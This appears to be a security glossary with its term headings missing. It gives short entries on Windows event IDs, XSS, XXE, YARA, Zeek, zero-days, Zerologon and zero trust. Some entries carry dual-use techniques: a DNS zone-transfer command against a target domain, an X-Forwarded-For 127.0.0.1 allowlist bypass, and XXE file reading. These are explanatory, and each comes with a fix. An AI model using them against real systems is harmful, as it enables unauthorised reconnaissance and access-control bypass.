
IEEE 802.11 security. WEP: broken. WPA/TKIP: broken. WPA2/AES: current minimum. WPA3/SAE: gold standard with forward secrecy. Enterprise Wi-Fi with 802.1X/RADIUS authentication is significantly more secure than PSK. Aircrack-ng suite (free) tests Wi-Fi security.

The primary audit trail for Windows systems recording security events in XML format. Critical Security event IDs: 4624 (logon success), 4625 (logon failure), 4688 (process creation), 4698 (scheduled task created), 4720 (user account created), 4732 (group membership changed), 7045 (service installed). Hayabusa (free) enables fast threat hunting directly on EVTX files without a SIEM.

The Windows Registry stores OS and application configuration — used by attackers for persistence (Run/RunOnce keys execute malware on startup), privilege escalation (AlwaysInstallElevated), and disabling security tools. Sysmon Event 13 captures registry modifications.

Self-replicating malware propagating across networks without user interaction by exploiting network service vulnerabilities. Historical examples: WannaCry (2017, EternalBlue, 300,000+ systems), NotPetya (2017, $10 billion estimated damages). Modern ransomware often includes worm-like propagation using credential reuse and EternalBlue.

Manipulating the X-Forwarded-For HTTP header to bypass IP-based access controls or rate limiting. If an application trusts XFF to determine the client IP, injecting 127.0.0.1 may bypass IP allowlists for admin panels. Defence: only trust XFF from known trusted proxy IPs.

Standard format for digital certificates used in TLS/HTTPS, code signing, and identity verification. Key fields: Subject, Issuer, Public Key, Validity Period, Subject Alternative Names (SANs). Certificate Transparency makes all issued certificates publicly auditable.

Evolution of EDR integrating telemetry from endpoint, network, cloud, email, and identity into a unified platform. Correlates data across sources to detect attacks spanning multiple vectors. Leading platforms: Microsoft Defender XDR, Palo Alto Cortex XDR, CrowdStrike Falcon XDR.

Injecting malicious XML content into applications parsing XML data. Manifestations: XXE injection (external entity processing), XPath injection (manipulating XPath queries like SQL injection), and Billion Laughs DoS attack (exponential entity expansion). Prevention: disable external entity processing, use parameterised XPath queries.

Injection of malicious JavaScript into web pages viewed by other users. Types: Reflected (victim clicks crafted URL), Stored (saved in database, executes for all viewers), DOM-based (client-side JavaScript handles attacker data unsafely). Stored XSS on admin panels is consistently Critical severity.

Vulnerability in XML parsers processing external entity declarations in user-supplied XML. Allows: reading local files (/etc/passwd, config files with credentials), SSRF (parser fetches external URLs), and Billion Laughs DoS attack. Fix: disable external entities in the parser configuration.

Pattern-matching tool for malware identification. Rules define string patterns (text, hex, regex) and conditions — files matching are flagged. Used for malware identification in incident response, threat hunting across filesystems, and EDR detection rules. YARAify (abuse.ch — free) provides YARA rule management and file scanning.

Using YARA rules proactively to hunt for malware across file systems, memory, and network traffic. Workflow: write a rule for a suspected malware family, deploy via Velociraptor fleet-wide to scan all endpoints simultaneously, review matches. YARAify (abuse.ch — free) enables hunting across VirusTotal malware corpus.

Extension of YARA developed by Google for Google Security Operations adding temporal and statistical reasoning — rules that fire when a pattern occurs N times within a time window or when patterns occur in sequence. Represents the evolution toward multi-event temporal correlation, similar to Elastic EQL.

Hardware security key manufactured by Yubico implementing FIDO2/WebAuthn, TOTP, and smart card protocols. Provides phishing-resistant authentication — the private key never leaves the device. After deployment across all Google employees, Google reported zero successful phishing attacks on employee accounts.

Open-source network analysis framework generating rich structured logs: conn.log (all connections), dns.log (DNS queries), http.log (HTTP requests), ssl.log (TLS connections), files.log (file transfers). The data foundation for network threat hunting, C2 beacon detection (Zeek plus RITA), and network forensics.

Vulnerability unknown to the vendor with no available patch. Extremely valuable — purchased for hundreds of thousands to millions of dollars by brokers (Zerodium, Crowdfence). After use in an attack and discovery, it becomes an N-day — vendors race to patch while attackers exploit remaining unpatched systems.

Security model based on never trust, always verify — eliminating implicit trust based on network location. Every access request is authenticated, authorised, and continuously validated regardless of origin. Five pillars (CISA Zero Trust Maturity Model): Identity, Devices, Networks, Applications, and Data.

Organisations purchasing zero-day vulnerability exploit code from researchers and selling it to governments. Major brokers: Zerodium (publishes prices — up to $2.5 million for iOS zero-clicks). The existence of zero-day markets creates economic incentives to sell vulnerabilities rather than responsibly disclose them.

Cryptographic method proving knowledge of a value without revealing the value. Applications: authentication without transmitting passwords, anonymous credential verification, and privacy-preserving identity systems. Relevant to DPDP Act compliance — minimising personal data exposure while still verifying identity attributes.

Critical Netlogon vulnerability allowing unauthenticated attackers to reset the domain controller computer password — enabling complete domain compromise. A cryptographic flaw in AES-CFB8 using all-zero values. Exploited by HAFNIUM, MERCURY, and multiple ransomware groups immediately after public PoC release.

A compromised device silently recruited into a botnet without the owner knowledge. Executes attacker commands: sending spam, participating in DDoS, hosting malware, conducting credential stuffing. The zombie process runs silently in the background consuming minimal resources to avoid detection.

Requesting a DNS server to replicate its full zone database — enumerating all subdomains, internal IP addresses, and mail server configurations in a single query. Misconfigured DNS servers perform zone transfers for any requester. Test: dig axfr @ns1.target.com target.com. Fix: restrict zone transfers to known secondary DNS servers only.

Technology implementing Zero Trust for network access — replacing VPN with identity and context-aware application-level access. Unlike VPN (broad network access), ZTNA grants access only to specific applications based on user identity, device health, location, and behaviour. Implementations: Cloudflare Access (free tier), Zscaler Private Access, Google BeyondCorp.